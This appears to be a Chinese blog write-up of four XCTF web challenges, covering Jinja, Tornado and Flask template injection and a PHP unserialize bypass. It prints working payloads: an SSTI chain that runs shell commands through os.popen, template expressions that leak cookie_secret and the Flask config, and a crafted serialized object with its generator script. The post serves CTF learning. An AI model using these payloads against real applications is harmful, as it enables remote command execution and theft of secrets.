XCTF Web 记录(第三天)

Web_python_template_injection

题目直接就告诉说是SSTI:
在这里插入图片描述
尝试注入:
在这里插入图片描述
执行了7*8,确实存在注入。

目前对SSTI的学习还在入门的入门,payload都是借师傅们的:
【模板注入】SSTI命令执行payload分析

命令执行payload:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

在这里插入图片描述
cat一下得到flag。

easytornado

在这里插入图片描述
打开题目三个txt,分别打开:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这里又了解到了 Tornado 框架 的注入。

我们直接根据flag.txt的内容访问/fllllllllllllag跳转到此页面:
在这里插入图片描述
同时发现msg参数可以显示出来,尝试一下:
在这里插入图片描述
确实存在SSTI,但是怎么利用呢。

hint.txt中给出:

md5(cookie_secret+md5(filename))

url中还有一次参数filehash,好像可以和hint联系起来。

那么接下来就是要获取cookie_secret。

后面又了解到:

cookie_secret在Application对象settings属性中。
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
一系列不理解的东西。

总之,获取 cookie_secret ,payload:

/error?msg={
    
    {
    
    handler.settings}}

在这里插入图片描述
然后计算,传入值,获得flag。

shrine


import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
    
    {% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)


打开直接就是flask框架的代码,这里有两个路由:

/
/shrine/

然后对()进行了过滤

payload:

{
    
    {
    
    url_for.__globals__['current_app'].config}}

在这里插入图片描述

总结一下这三道SSTI:

太菜了,啥都不会,后面尽全力了解一下SSTI。

Web_php_unserialize

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var); 
    } 
} else {
    
     
    highlight_file("index.php"); 
} 
?>

反序列化题目,分析一下代码。

构造函数__construct()在程序执行开始的时候对变量进行赋初值。
析构函数__destruct(),在对象所在函数执行完成之后,会自动调用。
在反序列化执行之前,会先执行__wakeup这个魔术方法

利用__destruct()显示fl4g.php,绕过__wakeup,当成员属性数目大于实际数目时可绕过wakeup方法。

正则绕过,使用+绕过。

private对象使用过程中,格式为:
%00类名%00变量名(%00占一位长度)

所以,构造payload:

O:+4:"Demo":2:{
    
    s:10:" Demo file";s:8:"fl4g.php";}

这里还要对值进行了base64加密,但是,在使用一些base64加密网站时,%00会被丢掉,所以这里最好使用一些脚本进行加密。

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $C = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup
    var_dump($C);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

要注意的就是%00丢失的问题。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/114299641